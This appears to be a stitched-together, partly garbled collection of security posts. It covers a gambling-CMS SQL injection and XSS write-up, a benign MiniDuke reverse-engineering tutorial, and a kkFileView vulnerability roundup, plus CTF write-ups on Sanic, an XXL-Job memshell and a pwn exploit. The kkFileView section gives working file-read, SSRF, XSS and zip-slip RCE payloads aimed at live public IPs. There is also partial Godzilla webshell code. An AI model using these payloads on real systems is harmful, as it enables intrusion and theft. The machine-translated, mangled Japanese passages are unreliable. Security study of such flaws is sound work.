このCMSのセットはCSRF攻撃をフィルタリングせず、スクリーンショットを採用しません。私のいとこの姿勢は私よりもセクシーです。おお、 hahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahah ahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahahaha

元のリンクから転載:https://mp.weixin.qq.com/s/8otu9yq3pxj6k2qpbeznra

0x00はじめに

違法なほうれん草の激しさがあり、無数の妻と子供が分離されています。この目的のために、私は「関連する部門」に何らかの助けを提供したいと考えて、わずかな努力に貢献しました。私が今日あなたのために演奏するのは、BC Tianheng Shengdaの収穫です。

0x01プログラムはじめに

プログラムは、php5.4 + mysqlプログラム構造を採用しています。

图片

基本的に、現在そのような違法サイトを行っている犯罪者は、アウトソーシングに加えて、いくつかのプログラムモデルセットを変更しました。とりあえず、技術レベルの問題のために、Tianhengは発行することしかできません。バージョンは少し古い場合があります。ただし、その大部分が使用されています。 4月中旬に自分の名前を開示したくないネチズンによる実際のテストによると、これらの問題の約70%が存在しましたが、このプログラムを使用している違法サイトは30分で約5,000〜20,000元を収集しました。

0x02脆弱性の詳細

1。お金-SQLインジェクション

web \ wjaction \ default \ payonlineback.class.php

图片

お金をフォローアップし続けてください、ここで取得する必要があります、そして条件を見てください

图片

条件表示、最初のものは重要な検証です。これは構成ファイルにあります。キーが間違っている場合、それはすべての注文が有効になることができないことを意味します。言い換えれば、キーは間違いなくURL要求内にあり、この検証はバイパスできます。

图片

条件を見続けます。ここで、検証のためにMD5値を生成することです。ただし、この検証には欠陥があり、キーの価値はここには含まれていません。したがって、直接送信するときは、$ tno。$ payno。$ money feldに設定します。次に、MD5値のMD5Keyを取得します。 $サインをURLに表示できるためです。復号化後、スクリプトを書き、その検証メカニズムに従ってそれらを挿入できます。

图片

読み続けてください、ただランダムに来てください。

图片

最後の検証である読み続けてください。ここのユーザー名は本物である必要があるため、ここでの検証は無効であると見なされます。

图片

次に、以前の分析によると、注入できます。最も重要な点は、MD5Keyの値を推測することです。

2。注文情報- ストレージXSS

注文情報- ユーザー名

图片

デフォルトの支払いがフォームを提出する場合、フロントデスクとバックエンドはフィルタリングされず、XSSストレージの脆弱性を引き起こします。

3.バックグラウンドに検証なし-GetShell

lib/classes/googlechart/markers/googlechartmapmarker.php

图片

ランダムコードの実行の脆弱性であるGoogle変数は、GETでデータを取得し、それを実行します。比較的低レベルの問題については、コードパーツを書くことはありません。 (この脆弱性は効率的ではなく、約30%の確率です)

0x03要約

このソースコードのセットは、これらのいくつかの穴だけではなく、自分で掘る練習をすることができます。第二に、私はもともと、それらを含めなかった違法なサイトツールをリリースして収集することを考えていましたが、後に「他の」警備員が迷い込むことを避けるためにそれについて考えました。私はまだ水文学の記事を持っています、私は皆さんがもっとアドバイスを持っていることを願っています!

元のリンクから転載:https://mp.weixin.qq.com/s/7r3orgpmuesdz4ykuxojjw

微信截图_20220928141315.png

對於逆向工程師來說,直接從分析的二進制代碼中調用函數的能力是一種捷徑,可以省去很多麻煩。雖然在某些情況下,理解函數邏輯並在高級語言中重新實現它是可能的,但這並不總是可行的,而且原始函數的邏輯越脆弱和復雜,這種方法就越不可行。在處理自定義哈希和加密時,這是一個特別棘手的問題,如果計算中的某個地方出現一個錯誤,就會導致最終輸出完全不同,而且調試起來非常麻煩。

我們將在本文中,介紹3 種實現此“捷徑”的不同方法,並直接從彙編中調用函數。我們首先介紹IDA Pro原生支持的IDA Appcall功能,可以直接通過idpython使用。然後我們演示如何使用Dumpulator實現同樣的行為,最後,我們將展示如何使用Unicorn Engine模擬得到該結果。本文中使用的實際示例基於MiniDuke惡意軟件示例實現的“經過調整的”SHA1哈希算法。

MiniDuke 實現的改進的SHA1 Hashing 算法MiniDuke示例中經過修改的SHA1算法用於為惡意軟件配置創建每個系統的加密密鑰。要哈希的緩衝區包含與所有接口描述的DWORD 連接的當前計算機名稱,例如'DESKTOP-ROAC4IJ\x00MicrWAN WAN MicrWAN MicrWAN InteWAN InteWAN Inte'。此函數(SHA1Hash) 在初始摘要和中間階段使用與原始SHA1 相同的常量,但產生不同的輸出。

1.webp.jpg

MiniDuke SHA1Hash 函數常量

由於在原始和修改後的SHA1 中使用的常量都相同,因此差異必須出現在函數的1241 條彙編指令中。我們不能說這種調整是否是故意引入的,但事實仍然是惡意軟件開發者越來越喜歡插入這樣的“驚喜”,而處理它們的責任就落在了分析師身上。為此,我們必須首先了解函數期望其輸入並產生其輸出的形式。

事實證明,Duke-SHA1彙編使用自定義調用約定,其中要哈希的緩衝區長度在ecx寄存器中傳遞,而緩衝區本身的地址在edi中傳遞。從技術上講,在eax 中也傳遞了一個值,但是每當可執行文件調用該函數時,該值都是相同的0xffffffff,因此我們可以將其視為常量。有趣的是,惡意軟件還在每次調用該函數時將緩衝區長度(ecx)設置為0x40,僅對緩衝區的前0x40 個字節進行有效地哈希處理。

2.webp.jpg

SHA1Hash 函數參數

由此產生的160位SHA1哈希值在寄存器中以5個dword的形式返回(從高到低: eax, edx, ebx, ecx, esi)。例如,緩衝DESKTOP-ROAC4IJ\x00MicrWAN WAN MicrWAN MicrWAN InteWAN InteWAN Inte的Duke-SHA1值為1851fff77f0957d1d690a32f31df2c32a1a84af7,返回為EAX:0x1851fff7 EDX:0x7f0957d1 EBX:0xd690a32f ECX:0x31df2c32 ESI:0xa1a84af7。

3.webp.jpg

生成的SHA1緩衝區哈希示例

如上所述,查找SHA1和Duke-SHA1的邏輯發生分歧的確切位置,然後在Python中重新實現Duke-SHA1,不過這個方法非常浪費時間。接下來,我們將使用幾種方法來“插入”函數的調用約定並直接調用它。

IDA–AppcallAppcall是IDA Pro的一個功能,它允許IDA Python腳本在調試程序中調用函數,就像它們是內置函數一樣。這是非常方便的,但它也不是通用的,即當用例變得有些不尋常或複雜時,應用難度會急劇上升。雖然在ecx 中傳遞緩衝區長度和在edi 中傳遞緩衝區是正常的,但在5個寄存器中分割160位的返回值並不是典型的函數輸出形式,Appcall 需要一些創意來解決這個問題。

接下來,我們創建了一個自定義結構struc_SHA1HASH,它保存了5個寄存器的值,並用作函數原型的返回類型:

4.png

IDA 結構窗口——“struc_SHA1HASH”

現在有了結構定義, Appcall 就可以與這個函數原型交互,如下面的PROTO 值所示。

5.png

由於IDA Appcall依賴於調試器,為了調用這個邏輯,我們首先需要編寫一個腳本來啟動調試器,對堆棧進行必要的調整,並執行其他必要的管理工作。

6.png

IDA視圖——堆棧調整

使用Appcall是最後一步,有幾種方法可以利用它來調用函數。我們可以在不指定原型的情況下直接調用函數,但這高度依賴於IDA 的IDB 中正確類型的函數。第二種方法是根據函數名和定義的原型創建一個可調用對象。通過這種方式,我們可以調用帶有特定原型的函數,無論在IDB中設置了什麼類型,如下所示:

7.png

使用Appcall 調用Duke-SHA1 的完整腳本如下所示。

8.png

還有一些示例輸出:

9.webp.jpg

腳本執行——“IDA Appcall”產生與MiniDuke 樣本相同的SHA1 哈希值

如果我們只是想將被調用的函數用作黑盒,那麼上面的方法是可以的,但有時我們可能希望在執行的特定狀態下訪問註冊表值,並且像上面那樣指定原型是一件繁瑣的事情。令人高興的是,這兩個缺點都可以被優化。

由於IDA Appcall 依賴於調試器並且可以直接從IDAPython 調用,因此我們可以從調試器調用Appcall 並對其執行進行更精細的控制。例如,我們可以通過為Appcall 設置一個特殊選項——APPCALL_MANUAL 來讓Appcall 在執行過程中將控制權交還給調試器。

10.png

通過這種方式,我們可以使用Appcall來準備參數,分配一個緩衝區,然後恢復之前的執行上下文。我們也可以避免為返回值指定結構類型(將其輸入為void),因為這將由調試器處理。有更多的方法來獲取函數的返回值,因此當控制調試器,就可以使用條件斷點在特定的執行狀態(例如在返回時)打印所需的值。

11.png

我們可以通過調用cleanup_appcall()在任何需要的執行時刻恢復之前的狀態(在Appcall 調用之前)。在我們的例子中,正好在遇到條件斷點之後。

12.png

完整的腳本如下:

13.png

DumpulatorDumpulator是一個python庫,它幫助在minidump文件中進行代碼模擬。 dumator的核心模擬引擎基於Unicorn engine,但在同類工具中有一個比較獨特的特點,那就是可以獲得整個過程的內存。這帶來了性能改進(在不離開Unicorn 的情況下模擬大部分已分析的二進製文件),如果我們可以在調用函數所需的程序上下文(堆棧等)已經就位的時候計算內存轉儲的時間,那麼就更方便了。此外,只有模擬系統調用才能提供真實的Windows環境(因為實際上一切都是合法的進程環境)。

可以使用許多工具(x64dbg - MiniDumpPlugin, process Explorer, process Hacker, Task Manager)或Windows API (MiniDumpWriteDump)捕獲所需進程的一個minidump。我們可以使用x64dbg - MiniDumpPlugin在幾乎所有進程都已經設置為SHA1哈希創建的狀態下創建一個minidump,就在SHA1Hash函數調用之前。注意,沒有必要以這種方式對轉儲進行計時,因為在進行轉儲後,可以在轉儲器中手動設置環境,這只是為了方便而已。

14.webp.jpg

使用“x64dbg - MiniDumpPlugin”創建minidump

Dumpulator不僅可以訪問整個轉儲的進程內存,還可以分配額外的內存、讀取內存、寫入內存、讀取註冊表值和寫入註冊表值。換句話說,模擬器可以做的任何事情。也有可能實現系統調用,因此可以模擬使用它們的代碼。

要通過Dumpulator調用Duke-SHA1,我們需要指定將在minidump中調用的函數的地址及其參數。在本例中,SHA1Hash的地址為0x407108。

15.webp.jpg

在IDA 中打開生成的minidump

因為我們不希望在minidump的當前狀態中使用已經設置的值,所以我們為函數定義自己的參數值。我們甚至可以分配一個新的緩衝區,用作哈希的緩衝區。完成此任務的代碼如下所示。

16.png

執行此腳本將生成正確的Duke-SHA1值

17.webp.jpg

腳本執行——“Dumpulator”產生與MiniDuke 樣本相同的SHA1 哈希值

Emulation–Unicorn Engine對於模擬方法,我們可以使用任何類型的CPU模擬器(例如Qiling、Speakeasy等),它們能夠模擬x86彙編,並具有針對Python語言的綁定。因為我們不需要任何更高的抽象級別(系統調用,API函數),我們可以使用其他大多數引擎的基礎設施——Unicorn Engine。

Unicorn是一個輕量級、多平台、多體系結構的CPU模擬器框架,基於QEMU,它是用純C語言實現的,並綁定了許多其他語言。我們將使用Python綁定。我們的目標是創建一個獨立的函數SHA1Hash,它可以像Python中的任何其他普通函數一樣被調用,產生與MiniDuke中原始函數相同的SHA1哈希。我們使用的實現背後的想法非常簡單——我們只需提取函數的操作碼字節並通過CPU 模擬使用它們。

提取原始函數操作碼的所有字節可以簡單地通過idpython或使用IDA→Edit→Export Data來完成。

18.png

使用IDA“Export data”對話框導出SHA1Hash函數的操作碼字節

與前面的方法一樣,我們需要設置執行上下文。在本文示例中,這意味著為函數準備參數,並為提取的操作碼和輸入緩衝區設置地址。

19.png

請注意,應從提取的操作碼列表中刪除最後一條retn 指令,以免將執行轉移回堆棧上的返回地址,並且應通過指定ebp 和esp 的值手動設置堆棧幀。所有這些都顯示在下面的最終Python 腳本中。

20.png

腳本輸出如下所示:

21.png

腳本執行——“Unicorn Engine”產生與MiniDuke示例相同的SHA1哈希值

總結上述所有直接調用彙編的方法都各有優缺點。給我們留下特別深刻印象的是簡易的Dumpulator,它是免費的,執行起來很快,而且非常有效。它非常適合編寫通用字符串解密器、配置提取器和其他上下文,在這些上下文中,必須依次調用許多不同的邏輯片段,同時保留難以設置的上下文。

當我們希望直接使用調用特定函數產生的結果來豐富IDA數據庫時,IDA Appcall功能是最好的解決方案之一。系統調用可以是Appcall在實際執行環境中使用的函數的一部分——使用調試器。 Appcall最大的優點之一就是快速而簡單的上下文恢復。由於Appcall依賴調試器,可以與idpython腳本一起使用,理論上它甚至可以作為模糊器的基礎,向函數提供隨機輸入以發現意外行為(即錯誤),但這種方法的消耗太大。

通過Unicorn Engine 使用純仿真是獨立實現特定功能的通用解決方案。使用這種方法,可以按原樣獲取部分代碼並在不連接到原始示例的情況下使用它。此方法不依賴於可運行的示例,並且僅適用於部分代碼重新實現功能。對於不是連續的、易於轉儲的代碼塊的函數,這種方法可能更難實現。對於發生API 或系統調用的部分代碼,或者難以設置執行上下文的代碼,前面提到的方法通常是更好的選擇。

HireHackking

kkFileView漏洞总结

0x00 kkFileview存在任意文件读取漏洞

漏洞描述 Keking KkFileview是中国凯京科技(Keking)公司的一个 Spring-Boot 打造文件文档在线预览项目。Keking kkFileview 存在安全漏洞,该漏洞源于存在通过目录遍历漏洞读取任意文件,可能导致相关主机上的敏感文件泄漏。 漏洞影响 kkFileview <=3.6.0 fofa查询 body="kkFileView" 漏洞证明 r12j2c5w4yr13843.png    http://103.39.221.102:8012//getCorsFile?urlPath=file:///etc/passwd yq0vc5iqowd13846.png

0x01 kkFileView SSR 漏洞

洞描述 kkFileview v4.1.0存在SSRF漏洞,攻击者可以利用此漏洞造成服务器端请求伪造(SSRF),远程攻击者可以通过将任意url注入url参数来强制应用程序发出任意请求。 漏洞影响 kkFileview =v4.1.0 洞证明 cseuzspieeb13847.png d4j5j5pkab313851.png http://121.40.238.48:8012//getCorsFile?urlPath=aHR0cDovL2QyYjY0NWQ3LmRucy5kbnNtYXAub3Jn r45k2512yci13853.png e2pnl2pymw213854.png        

0x03 kkFileView XSS漏洞

漏洞描述 kkFileview v4.1.0存两处XSS漏洞,可能导致网站cookies泄露。 漏洞影响 kkFileview =v4.1.0 漏洞证明 http://www.baidu.com/test.txt"><img src=111 onerror=alert(1)> 编码base64: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg== url编码: aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D poc1: /onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E /picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D       http://139.9.164.127:8012/onlinePreview?url=%3Cimg%20src=x%20onerror=alert(0)%3E vxkadhfxnx413857.png   http://119.91.146.127:8012/picturesPreview?urls=aHR0cDovL3d3dy5iYWlkdS5jb20vdGVzdC50eHQiPjxpbWcgc3JjPTExMSBvbmVycm9yPWFsZXJ0KDEpPg%3D%3D fhzfy4vkm0j13858.png   <svg/onload=alert(1)>编码base64: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk+ url编码: PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B poc2: /picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B http://119.91.146.127:8012/picturesPreview?urls=&currentUrl=PHN2Zy9vbmxvYWQ9YWxlcnQoMSk%2B 2sc5hu2hfcz13863.png

0x04 kkFileView任意文件上传导致xss和文件包含漏洞

漏洞描述 kkFileview全版本存在文件解析漏洞,攻击者可以利用此漏洞造成存储型 XSS、文件包含或者SSRF,远程攻击者可以通过将任意JavaSript脚本上传到服务器来持久性的利用应用程序发出攻击请求 漏洞影响 kkFileView=4.1.0 漏洞证明

1、上传文件

 

eh3gubz33p013865.png  

 

 

1g4osmdvwds13867.png  

 

2、访问漏洞位置
http://139.9.101.60:8012/demo/2.html

 

me0mdnepcgr13868.png   rmzje3fvj5f13871.png  

2.文件包含:

https://file.keking.cn/demo/test1.js
image
访问:
https://file.keking.cn/demo/test14.html
image

 

0x05 kkFileView任意文件删除漏洞

漏洞描述

kkFileview v4.0.0存在任意文件删除漏洞,可能导致系统任意文件被删除

漏洞影响

kkFileview= v4.0.0

漏洞证明

/deleteFile?fileName=demo%2F..\xss.pdf
get请求此uri会删除\kkFileView-master\server\src\main\file目录中的xss.pdf(原本只能删除\kkFileView-master\server\src\main\file\demo目录下的文件) 31el1s2l2qw13878.png ceiqsllq5a413881.png

0x06 kFileView-v4.3.0~v4.40-beta 存在RCE漏洞

漏洞影响:v4.2.1 和 v4.2.0 都是影响,4.1.0不受影响

任意文件上传
import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ueeeeee'
        binary2 = b'hacked_by_1ue'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../tmp/flag", binary2)
        zipFile.close()
    except IOError as e:
        raise e

制作恶意hack.zip,注意里面必须有一个正常文件,例如test,便于创建hack.zip_缓存文件

img

上传文件并预览

img

img

发现成功穿越

RCE

可以任意文件上传,并且可以追加文件内容

经过我研究发现,目标在使用odt转pdf时会调用系统的Libreoffice,而此进程会调用库中的uno.py文件,因此可以覆盖该py文件的内容

import zipfile

if __name__ == "__main__":
    try:
        binary1 = b'1ue'
        binary2 = b'import os\r\nos.system(\'touch /tmp/hack_by_1ue\')'
        zipFile = zipfile.ZipFile("hack.zip", "a", zipfile.ZIP_DEFLATED)
        info = zipfile.ZipInfo("hack.zip")
        zipFile.writestr("test", binary1)
        zipFile.writestr("../../../../../../../../../../../../../../../../../../../opt/libreoffice7.5/program/uno.py", binary2)
        zipFile.close()
    except IOError as e:
        raise e

制作恶意的zip包 上传并预览

img

再随便上传一个odt文件,另其发起libreoffice任务 上传并预览

img

可以看到命令成功被执行

img

uno.py中也确实被写入了内容

   

web

タイトル:Sanic's Revenge

問題解決手順

最初に、与えられた添付ファイル:を参照してください

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ここのソースコードは、管理者によって削除されたようです。私はそれに隠された大きな秘密があると聞いた

クラスPollute:

def __init __(self):

合格

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/*** secret *********')

async def Secret(リクエスト):

secret='**********************'

テキストを返します( '私のルート名を見つけることができますか?'+秘密)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir + '.'

log_file='/tmp/' + log_dir + '/access.log'

log_file_bak='/tmp/' + log_dir_bak + '/access.log.bak'

log='key:' + str(key) + '|' + 'value:' + str(value);

#ログファイルを生成します

os.system( 'mkdir /tmp /' + log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#バックアップログファイル

os.system( 'mkdir /tmp /' + log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

ソースコード:を分析します

/汚染ルートは、パラメーターキーと値を渡すことでプロトタイプチェーン汚染を実現できる汚染点pydash.set_を提供します。さらに、このルートはWAFも設定します。 WAFがトリガーされた場合、キーと値の値は /TMPディレクトリのファイルに書き込まれます

名前が不明なルートもあります。内部には秘密があると推測できますか?

プロンプトによると、ここのソースコードが完全ではないことがわかるため、完全なソースコードを取得する必要があります

ここでのエントリポイントは、プロトタイプチェーン汚染です。 file_or_directoryをルートディレクトリに汚染すると、ファイルの読み取りを実現できます。

次に、ソースコードファイル名を取得し、アクセス/static/proc/1/cmdline:にアクセスする方法を見つけます

1049983-20241007092501905-1381800438.png

次に、/start.sh:にアクセスします

1049983-20241007092502596-882819269.png

ソースコード名:2q17a58t9f65y5i8.pyを取得します

/app/2q17a58t9f65y5i8.pyにアクセスして、完全なソースコード:を取得します

Sanic Import Sanicから

OSをインポートします

sanic.responseインポートテキスト、htmlから

sysをインポートします

ランダムをインポートします

pydashをインポートします

#pydash==5.1.2

#ソースコードは管理者によって削除されたようで、彼はそれに大きな秘密が隠されていると聞いた

クラスPollute:

def __init __(self):

合格

def create_log_dir(n):

ret=''

範囲(n):のiの場合

num=random.randint(0、9)

文字=chr(random.randint(97、122))

文字=chr(random.randint(65、90))

s=str(random.choice([num、letter、letter]))

ret +=s

Ret

app=sanic(__ name__)

app.static( '/static/'、 './static/')

@app.route( '/wa58a1qeq59857qqrppq')

async def Secret(リクエスト):

f:としてopen( '/h111int'、 'r')

ヒント=f.read()

テキストを返す(ヒント)

@app.route( '/'、methods=['get'、 'post']))

Async defインデックス(リクエスト):

return html(open( 'static/index.html')。read()))

@app.route( '/adminlook'、method=['get'])

async def adminlook(リクエスト):

#違法なログを見るためのエイジー管理者

log_dir=os.popen( 'ls /tmp -al')。read();

テキストを返す(log_dir)

@app.route( '/pollute'、methods=['get'、 'post']))

async def pollute(リクエスト):

key=request.json ['key']

value=request.json ['value']

キーと値とタイプ(key)がstrと「パーツ」がキーではなく、「proc」がstr(value)およびtype(value)がlist:ではない場合

汚染=汚染()

pydash.set_(汚染、キー、値)

テキストを返す(「成功」)

else:

log_dir=create_log_dir(6)

log_dir_bak=log_dir+'.'

log_file='/tmp/'+log_dir+'/access.log'

log_file_bak='/tmp/'+log_dir_bak+'/access.log.bak'

log='key:'+str(key)+'|'+'value:'+str(value);

#generate logファイル

os.system( 'mkdir /tmp /'+log_dir)

f:としてopen(log_file、 'w')

f.write(log)

#back up logファイル

os.system( 'mkdir /tmp /'+log_dir_bak)

f:としてopen(log_file_bak、 'w')

f.write(log)

RETURN TEXT( '!ここで無謀な行動はありません、あなたの違法な操作が記録されました!')

__name__=='__main __' :の場合

app.run(host='0.0.0.0')

余分なルート:WA58A1QEQ59857QQRPPQを見ることができ、ヒントを得るために直接アクセスしてください。

flag in /appですが、彼の名前を見つける必要があります!

アプリディレクトリでファイル名を表示する方法を見つける

ここでは、フラグファイルがアプリディレクトリにあることを促されますが、フラグ名はわかりません

次に、アプリディレクトリにファイルをリストする方法を見つける必要があることは明らかです

また、adminlookルートを表示することができ、 /TMPディレクトリにファイルを表示でき、違法ログはこのディレクトリに記録されています。最初に違法記録を一度トリガーしてから、adminlookルート:にアクセスします

1049983-20241007092503306-864833807.jpg

ここには2つのディレクトリがあり、そのうちの1つはバックアップディレクトリの名前であることがわかります。したがって、このディレクトリへのアクセスを使用して上部ディレクトリに移動できます。

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keywords TMPディレクトリ、そしてベース値:を汚染します

{'key':' __ class __ \\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\。app.router.name_index .__ mp_main __ \\\。static.handler.keyword static/ddahj6 '}

また、ディレクトリ関数:を有効にすることを忘れないでください

{'key':' __ class __ \\\\\\ .__ init __ \\\\\\ .__ Globals __ \\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\。

次に、にアクセスしてください

1049983-20241007092503888-2101886537.png

フラグ名を表示してから、 /app /45w698wqtsgqt1_flagにアクセスしてフラグを取得できます

タイトル:EasyJob

問題解決手順

添付ファイルによると、XXL-Job-Executorによるアクセスに対して不正である脆弱性であることが確認できます。次のリンクを参照してください。

https://github.com/threekiii/vulhub-reproduce/blob/master/xxl-job%20executor%20%E6%9c%AAA6%8E%88%E6%9D%83%E8%AEA%BF%E9%97%AE6A6%8歳8です

ただし、XXL-JOBバージョンは比較的古く、ヘシアンの脱派化によって引き起こされる必要があるバージョンであり、問題はインターネットから出ていないことがわかります。現時点では、メモリホースを打つことは避けられません。したがって、この質問の重要なポイントは、実際にWeb依存関係なしで桟橋の記憶馬を注入する方法です。

ハンドラーは次のようにxxljobに組み込まれています

//

//Intellijのアイデアによって.classファイルから再作成されたソースコード

//(fernflowerディセパイラーを搭載)

//

パッケージcom.xxl.job.core.rpc.netcom.jetty.server;

com.xxl.job.core.rpc.codec.rpcrequestをインポートします。

com.xxl.job.core.rpc.codec.rpcreSponseをインポートします。

com.xxl.job.core.rpc.netcom.netcomserverfactoryをインポートします。

com.xxl.job.core.rpc.serialize.hessianserializerをインポートします。

com.xxl.job.core.util.httpclientutilをインポートします。

java.io.ioexceptionをインポートします。

java.io.outputStreamをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

org.eclipse.jetty.server.requestをインポートします。

Import org.eclipse.jetty.server.handler.abstracthandler;

org.slf4j.loggerをインポートします。

org.slf4j.loggeractoryをインポートします。

Public Class JettyServerHandlerはAbstracthandlerを拡張します{

private static logger logger=loggerfactory.getLogger(jettyserverhandler.class);

public jettyserverhandler(){

}

public voidハンドル(String Target、Request Baserequest、httpservletRequestリクエスト、httpservletResponse応答)IoException、servletexception {

rpcreSponse rpcreSponse=this.doinvoke(request);

byte [] responsebytes=hessianserializer.serialize(rpcreSponse);

Response.setContentType( 'text/html; charset=utf-8');

Response.SetStatus(200);

baserequest.sethandled(true);

outputStream out=response.getOutputStream();

out.write(responsebytes);

out.flush();

}

private rpcreSponse doinvoke(httpservletrequestリクエスト){

rpcreSponse rpcreSponse;

試す {

byte [] requestbytes=httpclientutil.readbytes(request);

if(requestBytes!=null requestbytes.length!=0){

rpcrequest rpcrequest=(rpcrequest)hessianserializer.deserialize(requestbytes、rpcrequest.class);

rpcreSponse rpcreSponse=netcomserverfactory.invokeService(rpcrequest、(object)null);

RPCRESPONSEを返します。

} それ以外{

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'rpcrequest byte [] is null');

RPCRESPONSEを返します。

}

} catch(例外var5){

logger.error(var5.getMessage()、var5);

rpcreSponse=new rpcreSponse();

rpcreSponse.setError( 'server-error:' + var5.getMessage());

RPCRESPONSEを返します。

}

}

}

Jettyhandler、私たちがする必要があるのは、まったく同じものを注入することだけです。ここに特定の詳細について何も言うことはありません、記憶は次のとおりです

パッケージcom.xxl.job.core;

org.eclipse.jetty.serverをインポート。*;

Import org.eclipse.jetty.server.handler.abstracthandler;

Import org.eclipse.jetty.server.handler.handlercollection;

sun.misc.unsafeをインポートします。

javax.crypto.cipherをインポートします。

javax.crypto.spec.secretkeyspecをインポートします。

javax.servlet.servletexceptionをインポートします。

javax.servlet.servletoutputStreamをインポートします。

javax.servlet.http.httpservletrequestをインポートします。

javax.servlet.http.httpservletResponseをインポートします。

java.io.ioexceptionをインポートします。

java.lang.ref.Referenceをインポートします。

java.lang.reflect.fieldをインポートします。

java.lang.reflt.methodをインポートします。

java.net.urlをインポートします。

java.net.urlclassloaderをインポートします。

Java.util.scannerをインポートします。

//著者:BOOGIPOP

パブリッククラスのjettygodzillamemshellはabstracthandlerを拡張します{

string xc='3c6e0b8a9c15224a'; //鍵

文字列pass='username';

文字列md5=md5(pass + xc);

クラスペイロード;

public static string md5(string s){

文字列ret=null;

試す {

java.security.messagedigest m;

m=java.security.messagedigest.getInstance( 'md5');

m.update(s.getbytes()、0、s.length());

ret=new java.math.biginteger(1、m.digest())。toString(16).touppercase();

} catch(例外e){

}

返品;

}

public jettygodzillamemshell(){

System.out.println(1);

}

public jettygodzillamemshell(int s){

System.out.println(2);

}

static {

試す {

httpconnection valuefield=getValueField();

HandLercollection Handler=(handLercollection)valuefield.gethttpchannel()。getServer()。gethandler();

フィールド変動whenrunning=handler.getClass()。getDeclaredField( '_ MutableWhenrunning');

MutableWhenrunning.setAcc

1。 pwn

1.nullulllllu

libc_baseを直接与えた場合、任意の住所に一度に\ x00を書き込みます。

io_2_1_stdinの_io_buf_baseの終わりを直接変更します。_io_buf_baseは、io_2_1_stdinの_io_write_baseを指します。次に、GetChar関数を使用して書き込み操作をトリガーしてIO_BUF_BASEをIO_2_1_STDOUTに変更し、GETCHAR関数を使用して書き込み操作をトリガーしてApple2をstdoutに書き込みます。 printf関数は、Appl2 Get Shellをトリガーします。

exp

PWNインポートから *

Struct Import Packから

ctypesからインポート *

base64をインポートします

サブプロセスのインポート実行から

#from libcsearcherインポート *

Struct Import Packから

TTYをインポートします

def debug(c=0):

if(c):

gdb.attach(p、c)

else:

gdb.attach(p)

一時停止()

def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

S=Lambdaデータ: P.Send(データ)

sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)

SL=Lambdaデータ:p.sendline(data)

sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)

r=lambda num=4096 :p.recv(num)

rl=lambdaテキスト:p.recvuntil(テキスト)

pr=lambda num=4096 :print(p.recv(num))

inter=lambda :p.interactive()

l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))

l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))

uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))

uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))

int16=lambdaデータ:INT(データ、16)

LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))

#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------

Context(os='linux'、arch='amd64'、log_level='debug')

p=remote( 'ctf2024-entry.r3kapig.com'、30371)

#p=remote( '127.0.0.1'、9999)

elf_patch='./chall'

#p=process(elf_patch)

elf=elf(elf_patch)

libc=elf( './libc.so.6')

SLA(b ''、b'1 ')

rl(b'0x ')

libc_base=int(r(12)、16)# +0x6d80

環境=libc_base + libc.sym ['__環境']

システム、binsh=get_sb()

stdin=libc_base + libc.sym ['_ io_2_1_stdin_']

